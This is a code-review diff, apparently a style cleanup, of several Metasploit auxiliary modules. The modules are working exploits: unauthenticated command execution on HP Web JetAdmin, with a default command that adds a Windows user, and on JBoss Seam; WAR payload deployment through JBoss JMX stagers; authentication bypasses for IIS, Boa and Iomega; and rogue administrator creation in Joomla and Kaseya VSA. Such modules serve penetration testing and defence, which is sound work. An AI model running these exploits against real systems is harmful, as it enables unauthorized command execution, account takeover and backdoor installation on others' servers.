include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution',
'Description' => %q{
This module abuses a command execution vulnerability within the
web based management console of the Hewlett-Packard Web JetAdmin
network printer tool v6.2 - v6.5. It is possible to execute commands
as SYSTEM without authentication. The vulnerability also affects POSIX
systems, however at this stage the module only works against Windows.
This module does not apply to HP printers.
},
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE,
'References' =>
[
super(
update_info(
info,
'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution',
'Description' => %q{
This module abuses a command execution vulnerability within the
web based management console of the Hewlett-Packard Web JetAdmin
network printer tool v6.2 - v6.5. It is possible to execute commands
as SYSTEM without authentication. The vulnerability also affects POSIX
systems, however at this stage the module only works against Windows.
This module does not apply to HP printers.
},
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE,
'References' => [
[ 'OSVDB', '5798' ],
[ 'BID', '10224' ],
#[ 'CVE', '' ],# No CVE!
# [ 'CVE', '' ],# No CVE!
[ 'EDB', '294' ]
],
'DisclosureDate' => '2004-04-27'))
'DisclosureDate' => '2004-04-27'
)
)
register_options(
[
Opt::RPORT(8000),
OptString.new('CMD', [ false, "The command to execute.", "net user metasploit password /add" ]),
])
register_options(
[
Opt::RPORT(8000),
OptString.new('CMD', [ false, 'The command to execute.', 'net user metasploit password /add' ]),
]
)
end
def run
cmd = datastore['CMD'].gsub(' ', ',')
send_request_cgi({
'uri' => '/plugins/framework/script/content.hts',
'method' => 'POST',
'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)'
}, 3)
'uri' => '/plugins/framework/script/content.hts',
'method' => 'POST',
'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)'
}, 3)
end
end

View File

@ -7,36 +7,37 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass',
'Description' => %q{
super(
update_info(
info,
'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass',
'Description' => %q{
This module bypasses basic authentication for Internet Information Services (IIS).
By appending the NTFS stream name to the directory name in a request, it is
possible to bypass authentication.
},
'References' =>
[
By appending the NTFS stream name to the directory name in a request, it is
possible to bypass authentication.
},
'References' => [
[ 'CVE', '2010-2731' ],
[ 'OSVDB', '66160' ],
[ 'MSB', 'MS10-065' ],
[ 'URL', 'https://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/' ]
],
'Author' =>
[
'Author' => [
'Soroush Dalili',
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2010-07-02'
))
'License' => MSF_LICENSE,
'DisclosureDate' => '2010-07-02'
)
)
register_options(
[
OptString.new("TARGETURI", [true, 'The URI directory where basic auth is enabled', '/'])
])
OptString.new('TARGETURI', [true, 'The URI directory where basic auth is enabled', '/'])
]
)
end
def has_auth
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
@ -53,35 +54,34 @@ class MetasploitModule < Msf::Auxiliary
def try_auth
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
uri << Rex::Text.rand_text_alpha(rand(10)+5) + ".#{Rex::Text.rand_text_alpha(3)}"
uri << Rex::Text.rand_text_alpha(rand(5..14)) + ".#{Rex::Text.rand_text_alpha(3)}"
dir = File.dirname(uri) + ':$i30:$INDEX_ALLOCATION' + '/'
user = Rex::Text.rand_text_alpha(rand(10) + 5)
pass = Rex::Text.rand_text_alpha(rand(10) + 5)
user = Rex::Text.rand_text_alpha(rand(5..14))
pass = Rex::Text.rand_text_alpha(rand(5..14))
vprint_status("Requesting: #{dir}")
res = send_request_cgi({
'uri' => dir,
'method' => 'GET',
'authorization' => basic_auth(user,pass)
'authorization' => basic_auth(user, pass)
})
vprint_status(res.body) if res
return (res and res.code != 401 and res.code != 404) ? dir : ''
return (res && (res.code != 401) && (res.code != 404)) ? dir : ''
end
def run
if not has_auth
print_error("No basic authentication enabled")
if !has_auth
print_error('No basic authentication enabled')
return
end
bypass_string = try_auth
if bypass_string.empty?
print_error("The bypass attempt did not work")
print_error('The bypass attempt did not work')
else
print_good("You can bypass auth by doing: #{bypass_string}")
end

View File

@ -7,9 +7,11 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',
'Description' => %q{
super(
update_info(
info,
'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',
'Description' => %q{
The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.11
allows basic authentication bypass when the user string is greater
than 127 bytes long. The long string causes the password to be
@ -20,80 +22,79 @@ class MetasploitModule < Msf::Auxiliary
Please note that you must set the request URI to the directory that
requires basic authentication in order to work properly.
},
'Author' =>
[
'Luca "ikki" Carettoni <luca.carettoni[at]securenetwork.it>', #original discoverer
'Claudio "paper" Merloni <claudio.merloni[at]securenetwork.it>', #original discoverer
'Max Dietz <maxwell.r.dietz[at]gmail.com>' #metasploit module
'Author' => [
'Luca "ikki" Carettoni <luca.carettoni[at]securenetwork.it>', # original discoverer
'Claudio "paper" Merloni <claudio.merloni[at]securenetwork.it>', # original discoverer
'Max Dietz <maxwell.r.dietz[at]gmail.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2007-4915' ],
[ 'BID', '25676'],
[ 'PACKETSTORM', '59347']
],
'DisclosureDate' => '2007-09-10'))
'DisclosureDate' => '2007-09-10'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, "The request URI", '/']),
OptString.new('TARGETURI', [ true, 'The request URI', '/']),
OptString.new('PASSWORD', [true, 'The password to set', 'pass'])
])
]
)
end
def check
begin
res = send_request_cgi({
'uri'=>'/',
'method'=>'GET'
})
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if (res and (m = res.headers['Server'].match(/Boa\/(.*)/)))
vprint_status("Boa Version Detected: #{m[1]}")
return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version
return Exploit::CheckCode::Safe if (m[1][3].ord-48>4)
return Exploit::CheckCode::Vulnerable
else
vprint_status("Not a Boa Server!")
return Exploit::CheckCode::Safe # not a boa server
end
if (res && (m = res.headers['Server'].match(%r{Boa/(.*)})))
vprint_status("Boa Version Detected: #{m[1]}")
return Exploit::CheckCode::Safe if (m[1][0].ord - 48 > 0) # boa server wrong version
return Exploit::CheckCode::Safe if (m[1][3].ord - 48 > 4)
rescue Rex::ConnectionRefused
print_error("Connection refused by server.")
return Exploit::CheckCode::Safe
return Exploit::CheckCode::Vulnerable
else
vprint_status('Not a Boa Server!')
return Exploit::CheckCode::Safe # not a boa server
end
rescue Rex::ConnectionRefused
print_error('Connection refused by server.')
return Exploit::CheckCode::Safe
end
def run
return if check != Exploit::CheckCode::Vulnerable
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
uri << '/' if uri[-1, 1] != '/'
res = send_request_cgi({
'uri'=> uri,
'method'=>'GET',
'authorization' => basic_auth(Rex::Text.rand_text_alpha(127),datastore['PASSWORD'])
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(Rex::Text.rand_text_alpha(127), datastore['PASSWORD'])
})
if res.nil?
print_error("The server may be down")
print_error('The server may be down')
return
elsif res and res.code != 401
elsif res && (res.code != 401)
print_status("#{uri} does not have basic authentication enabled")
return
end
print_status("Server still operational. Checking to see if password has been overwritten")
print_status('Server still operational. Checking to see if password has been overwritten')
res = send_request_cgi({
'uri' => uri,
'method'=> 'GET',
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth('admin', datastore['PASSWORD'])
})
if not res
print_error("Server timedout, will not continue")
if !res
print_error('Server timedout, will not continue')
return
end
@ -101,10 +102,9 @@ class MetasploitModule < Msf::Auxiliary
when 200
print_good("Password reset successful with admin:#{datastore['PASSWORD']}")
when 401
print_error("Access forbidden. The password reset attempt did not work")
print_error('Access forbidden. The password reset attempt did not work')
else
print_status("Unexpected response: Code #{res.code} encountered")
end
end
end

View File

@ -8,48 +8,45 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Iomega StorCenter Pro NAS Web Authentication Bypass',
'Name' => 'Iomega StorCenter Pro NAS Web Authentication Bypass',
'Description' => %q{
The Iomega StorCenter Pro Network Attached Storage device web interface increments sessions IDs,
allowing for simple brute force attacks to bypass authentication and gain administrative
access.
},
'References' =>
[
[ 'OSVDB', '55586' ],
[ 'CVE', '2009-2367' ],
],
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE
'References' => [
[ 'OSVDB', '55586' ],
[ 'CVE', '2009-2367' ],
],
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE
)
register_options(
[
OptInt.new('SID_MAX', [true, 'Maximum Session ID', 100])
])
]
)
end
def run
datastore['SID_MAX'].times do |x|
begin
print_status("Trying session ID #{x.to_s}")
print_status("Trying session ID #{x}")
res = send_request_raw({
'uri' => "/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}",
'method' => 'GET'
}, 25)
res = send_request_raw({
'uri' => "/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}",
'method' => 'GET'
}, 25)
if (res and res.to_s =~ /Log out/)
print_status("Found valid session ID number #{x.to_s}!")
print_status("Browse to http://#{rhost}:#{rport}/cgi-bin/makecgi-pro?job=show_home&session_id=#{x.to_s}")
break
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Unable to connect to #{rhost}:#{rport}")
if (res && res.to_s =~ (/Log out/))
print_status("Found valid session ID number #{x}!")
print_status("Browse to http://#{rhost}:#{rport}/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}")
break
rescue ::Timeout::Error, ::Errno::EPIPE
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Unable to connect to #{rhost}:#{rport}")
break
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end

View File

@ -8,57 +8,55 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
'Description' => %q{
'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
'Description' => %q{
This module can be used to install a WAR file payload on JBoss servers that have
an exposed "jmx-console" application. The payload is put on the server by
using the jboss.system:BSHDeployer's createScriptDeployment() method.
},
'Author' =>
[
'us3r777 <us3r777[at]n0b0.so>'
],
'References' =>
[
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
[ 'OSVDB', '64171' ],
[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
],
'Actions' =>
[
['Deploy', 'Description' => 'Create and deploy app (WAR) to deliver payload'],
['Undeploy', 'Description' => 'Remove app (WAR) for cleanup']
],
'Author' => [
'us3r777 <us3r777[at]n0b0.so>'
],
'References' => [
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
[ 'OSVDB', '64171' ],
[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
],
'Actions' => [
['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }],
['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }]
],
'DefaultAction' => 'Deploy',
'License' => BSD_LICENSE,
'License' => BSD_LICENSE,
)
register_options(
[
Opt::RPORT(8080),
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
])
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
]
)
end
def deploy_action(app_base, war_data)
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
if http_verb == 'POST'
print_status("Deploying payload...")
print_status('Deploying payload...')
opts = {
:file => "#{app_base}.war",
:contents => encoded_payload
file: "#{app_base}.war",
contents: encoded_payload
}
else
print_status("Deploying stager...")
stager_name = Rex::Text.rand_text_alpha(8 + rand(8))
print_status('Deploying stager...')
stager_name = Rex::Text.rand_text_alpha(rand(8..15))
stager_contents = stager_jsp(app_base)
opts = {
:dir => "#{stager_name}.war",
:file => "#{stager_name}.war/#{stager_name}.jsp",
:contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
dir: "#{stager_name}.war",
file: "#{stager_name}.war/#{stager_name}.jsp",
contents: Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
}
end
@ -66,40 +64,39 @@ class MetasploitModule < Msf::Auxiliary
package = deploy_bsh(bsh_payload)
if package.nil?
print_error("Deployment failed")
print_error('Deployment failed')
return
else
print_good("Deployment successful")
print_good('Deployment successful')
end
unless http_verb == 'POST'
# call the stager to deploy our real payload war
stager_uri = '/' + stager_name + '/' + stager_name + '.jsp'
payload_data = "#{Rex::Text.rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
payload_data = "#{Rex::Text.rand_text_alpha(rand(8..15))}=#{Rex::Text.uri_encode(encoded_payload)}"
print_status("Calling stager #{stager_uri} to deploy final payload...")
res = deploy('method' => 'POST',
'data' => payload_data,
'uri' => stager_uri)
'data' => payload_data,
'uri' => stager_uri)
if res && res.code == 200
print_good("Payload deployed")
print_good('Payload deployed')
else
print_error("Failed to deploy final payload")
print_error('Failed to deploy final payload')
end
# Remove the stager
print_status("Removing stager...")
print_status('Removing stager...')
files = {}
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
files[:stager_base] = "#{stager_name}.war"
delete_script = generate_bsh(:delete, files)
res = deploy_package(delete_script, package)
if res.nil?
print_error("Unable to remove Stager")
print_error('Unable to remove Stager')
else
print_good("Stager successfully removed")
print_good('Stager successfully removed')
end
end
end
def undeploy_action(app_base)
@ -112,9 +109,9 @@ class MetasploitModule < Msf::Auxiliary
package = deploy_bsh(delete_script)
if package.nil?
print_error("Unable to remove WAR")
print_error('Unable to remove WAR')
else
print_good("Successfully removed")
print_good('Successfully removed')
end
end
@ -124,7 +121,7 @@ class MetasploitModule < Msf::Auxiliary
case action.name
when 'Deploy'
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
print_error("WAR file not found")
print_error('WAR file not found')
return
end
war_data = File.read(datastore['WARFILE'], mode: 'rb')

View File

@ -8,53 +8,51 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment',
'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment',
'Description' => %q{
This module uses the DeploymentFileRepository class in the JBoss Application Server
to deploy a JSP file which then deploys an arbitrary WAR file.
},
'Author' =>
[
'us3r777 <us3r777[at]n0b0.so>'
],
'References' =>
[
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
[ 'OSVDB', '64171' ],
[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
],
'Actions' =>
[
['Deploy', 'Description' => 'Create and deploy app (WAR) to deliver payload'],
['Undeploy', 'Description' => 'Remove app (WAR) for cleanup']
],
'Author' => [
'us3r777 <us3r777[at]n0b0.so>'
],
'References' => [
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
[ 'OSVDB', '64171' ],
[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
],
'Actions' => [
['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }],
['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }]
],
'DefaultAction' => 'Deploy',
'License' => BSD_LICENSE,
'License' => BSD_LICENSE,
)
register_options(
[
Opt::RPORT(8080),
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
])
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
]
)
end
def deploy_action(app_base, war_data)
stager_base = Rex::Text.rand_text_alpha(8+rand(8))
stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
stager_base = Rex::Text.rand_text_alpha(rand(8..15))
stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
if http_verb == 'POST'
print_status("Deploying stager for the WAR file...")
print_status('Deploying stager for the WAR file...')
res = upload_file(stager_base, stager_jsp_name, stager_contents)
else
print_status("Deploying minimal stager to upload the payload...")
head_stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
print_status('Deploying minimal stager to upload the payload...')
head_stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
head_stager_uri = '/' + stager_base + '/' + head_stager_jsp_name + '.jsp'
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
# We split the stager_jsp_code in multipe junks and transfer on the
@ -62,9 +60,9 @@ class MetasploitModule < Msf::Auxiliary
current_pos = 0
while current_pos < stager_contents.length
next_pos = current_pos + 5000 + rand(100)
vars_get = { 'arg0' => stager_contents[current_pos,next_pos] }
vars_get = { 'arg0' => stager_contents[current_pos, next_pos] }
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
res = deploy('uri' => head_stager_uri,
res = deploy('uri' => head_stager_uri,
'vars_get' => vars_get)
current_pos += next_pos
end
@ -72,24 +70,24 @@ class MetasploitModule < Msf::Auxiliary
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
# but the file still gets written.
unless res && ( res.code == 200 || res.code == 500)
fail_with(Failure::Unknown, "Failed to deploy")
unless res && (res.code == 200 || res.code == 500)
fail_with(Failure::Unknown, 'Failed to deploy')
end
print_status("Calling stager to deploy the payload warfile (might take some time)")
print_status('Calling stager to deploy the payload warfile (might take some time)')
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
stager_res = deploy('uri' => stager_uri,
'method' => 'GET')
if res && res.code == 200
print_good("Payload deployed")
print_good('Payload deployed')
else
print_error("Failed to deploy final payload")
print_error('Failed to deploy final payload')
end
# Cleaning stagers
print_status("Undeploying stagers via DeploymentFileRepository.remove()...")
print_status("This might take some time, be patient...") if http_verb == "HEAD"
print_status('Undeploying stagers via DeploymentFileRepository.remove()...')
print_status('This might take some time, be patient...') if http_verb == 'HEAD'
delete_res = []
if head_stager_jsp_name
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
@ -98,7 +96,7 @@ class MetasploitModule < Msf::Auxiliary
delete_res << delete_file('./', stager_base + '.war', '')
delete_res.each do |res|
if !res
print_warning("Unable to remove WAR [No Response]")
print_warning('Unable to remove WAR [No Response]')
elsif (res.code < 200 || res.code >= 300)
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
end
@ -108,18 +106,18 @@ class MetasploitModule < Msf::Auxiliary
# Undeploy the WAR and the stager if needed
def undeploy_action(app_base)
print_status("Undeploying #{app_base} via DeploymentFileRepository.remove()...")
print_status("This might take some time, be patient...") if http_verb == "HEAD"
print_status('This might take some time, be patient...') if http_verb == 'HEAD'
res = delete_file('./', app_base + '.war', '')
unless res
print_error("Unable to remove WAR (no response)")
print_error('Unable to remove WAR (no response)')
return
end
if res.code < 200 || res.code >= 300
print_error("Unable to remove WAR [#{res.code} #{res.message}]")
else
print_good("Successfully removed")
print_good('Successfully removed')
end
end
@ -129,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
case action.name
when 'Deploy'
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
fail_with(Failure::BadConfig, "Unable to open WARFILE")
fail_with(Failure::BadConfig, 'Unable to open WARFILE')
end
war_data = File.read(datastore['WARFILE'], mode: 'rb')
deploy_action(app_base, war_data)

View File

@ -7,43 +7,46 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss Seam 2 Remote Command Execution',
'Description' => %q{
super(
update_info(
info,
'Name' => 'JBoss Seam 2 Remote Command Execution',
'Description' => %q{
JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform
4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
Language (EL) expressions, which allows remote attackers to execute arbitrary code
via a crafted URL. This modules also has been tested successfully against IBM
WebSphere 6.1 running on iSeries.
4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
Language (EL) expressions, which allows remote attackers to execute arbitrary code
via a crafted URL. This modules also has been tested successfully against IBM
WebSphere 6.1 running on iSeries.
NOTE: this is only a vulnerability when the Java Security Manager is not properly
configured.
},
'Author' =>
[
NOTE: this is only a vulnerability when the Java Security Manager is not properly
configured.
},
'Author' => [
'guerrino di massa', # Metasploit module
'Cristiano Maruti <cmaruti[at]gmail.com>' # Support for IBM Websphere 6.1
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2010-1871' ],
[ 'OSVDB', '66881']
],
'DisclosureDate' => '2010-07-19'))
'DisclosureDate' => '2010-07-19'
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'Target URI', '/seam-booking/home.seam']),
OptString.new('CMD', [ true, "The command to execute."])
])
OptString.new('CMD', [ true, 'The command to execute.'])
]
)
end
def run
uri = normalize_uri(target_uri.to_s)
cmd_enc = ""
cmd_enc << Rex::Text.uri_encode(datastore["CMD"])
cmd_enc = ''
cmd_enc << Rex::Text.uri_encode(datastore['CMD'])
flag_found_one = 255
flag_found_two = 255
@ -53,45 +56,46 @@ class MetasploitModule < Msf::Auxiliary
uri_part_3 = "].invoke(null),'"
25.times do |index|
req = uri + uri_part_1 + index.to_s + "]}"
req = uri + uri_part_1 + index.to_s + ']}'
res = send_request_cgi(
{
'uri' => req,
'method' => 'GET',
}, 20)
'uri' => req,
'method' => 'GET'
}, 20
)
if (res and res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29))
if (res && res.headers['Location'] =~ (/java.lang.Runtime.exec%28java.lang.String%29/))
flag_found_one = index
print_status("Found right index at [" + index.to_s + "] - exec")
elsif (res and res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime))
print_status("Found right index at [" + index.to_s + "] - getRuntime")
print_status('Found right index at [' + index.to_s + '] - exec')
elsif (res && res.headers['Location'] =~ (/java.lang.Runtime\+java.lang.Runtime.getRuntime/))
print_status('Found right index at [' + index.to_s + '] - getRuntime')
flag_found_two = index
else
print_status("Index [" + index.to_s + "]")
print_status('Index [' + index.to_s + ']')
end
end
if (flag_found_one != 255 && flag_found_two != 255 )
print_status("Target appears VULNERABLE!")
print_status("Sending remote command:" + datastore["CMD"])
if (flag_found_one != 255 && flag_found_two != 255)
print_status('Target appears VULNERABLE!')
print_status('Sending remote command:' + datastore['CMD'])
req = uri + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}"
res = send_request_cgi(
{
'uri' => req,
'method' => 'GET',
}, 20)
'uri' => req,
'method' => 'GET'
}, 20
)
if (res and res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess))
print_good("Exploited successfully")
if (res && res.headers['Location'] =~ (/pwned=java.lang.UNIXProcess/))
print_good('Exploited successfully')
else
print_error("Exploit failed")
print_error('Exploit failed')
end
else
print_error("Target appears not vulnerable!")
print_error('Target appears not vulnerable!')
end
end
end

View File

@ -7,29 +7,30 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Joomla
def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla Account Creation and Privilege Escalation',
'Description' => %q{
This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
},
'References' =>
[
super(
update_info(
info,
'Name' => 'Joomla Account Creation and Privilege Escalation',
'Description' => %q{
This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
},
'References' => [
['CVE', '2016-8869'],
['CVE', '2016-8870'],
['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'],
['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'],
['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2']
],
'Author' =>
[
'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation
'Author' => [
'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation
'Filipe Reis <fr[at]integrity.pt>', # module creation and privilege escalation
'Vitor Oliveira <vo[at]integrity.pt>', # module creation and privilege escalation
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2016-10-25'
))
'License' => MSF_LICENSE,
'DisclosureDate' => '2016-10-25'
)
)
register_options(
[
@ -87,7 +88,7 @@ class MetasploitModule < Msf::Auxiliary
return
end
print_status("Trying to create the user!")
print_status('Trying to create the user!')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
'vars_get' => {
@ -113,23 +114,23 @@ class MetasploitModule < Msf::Auxiliary
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"')
mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"')
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"')
mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"')
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password2]"')
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"')
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"')
mime.add_part('com_users', nil, nil, 'form-data; name="option"')
mime.add_part('user.register', nil, nil, 'form-data; name="task"')
mime.add_part('1', nil, nil, 'form-data; name="' + csrf +'"')
mime.add_part('1', nil, nil, 'form-data; name="' + csrf + '"')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
if res && res.code == 200
print_good("PWND - Your user has been created")
print_good('PWND - Your user has been created')
print_status("\tUsername: " + datastore['USERNAME'])
print_status("\tPassword: " + datastore['PASSWORD'])
print_status("\tEmail: " + datastore['EMAIL'])
@ -137,17 +138,17 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi!(
'uri' => res.redirection.path,
'method' => 'GET',
'cookie' => cookie
'cookie' => cookie
)
print_error("There was an issue, but the user could have been created.")
print_error('There was an issue, but the user could have been created.')
parsed_data = res.get_html_document
parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|
print_error("\t" + alert_msg.text)
end
else
print_error("This host may not be vulnerable.")
print_error('This host may not be vulnerable.')
end
end
end

View File

@ -8,49 +8,51 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Kaseya VSA Master Administrator Account Creation',
'Description' => %q{
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
Master Administrator account. Normally this page is only accessible via the localhost
interface, but the application does nothing to prevent this apart from attempting to
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
v9.0.0.3.
},
'Author' =>
[
super(
update_info(
info,
'Name' => 'Kaseya VSA Master Administrator Account Creation',
'Description' => %q{
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
Master Administrator account. Normally this page is only accessible via the localhost
interface, but the application does nothing to prevent this apart from attempting to
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
v9.0.0.3.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2015-6922'],
['ZDI', '15-448'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Kaseya/kaseya-vsa-vuln-2.txt'],
['URL', 'https://seclists.org/bugtraq/2015/Sep/132']
],
'DisclosureDate' => '2015-09-23'))
'DisclosureDate' => '2015-09-23'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
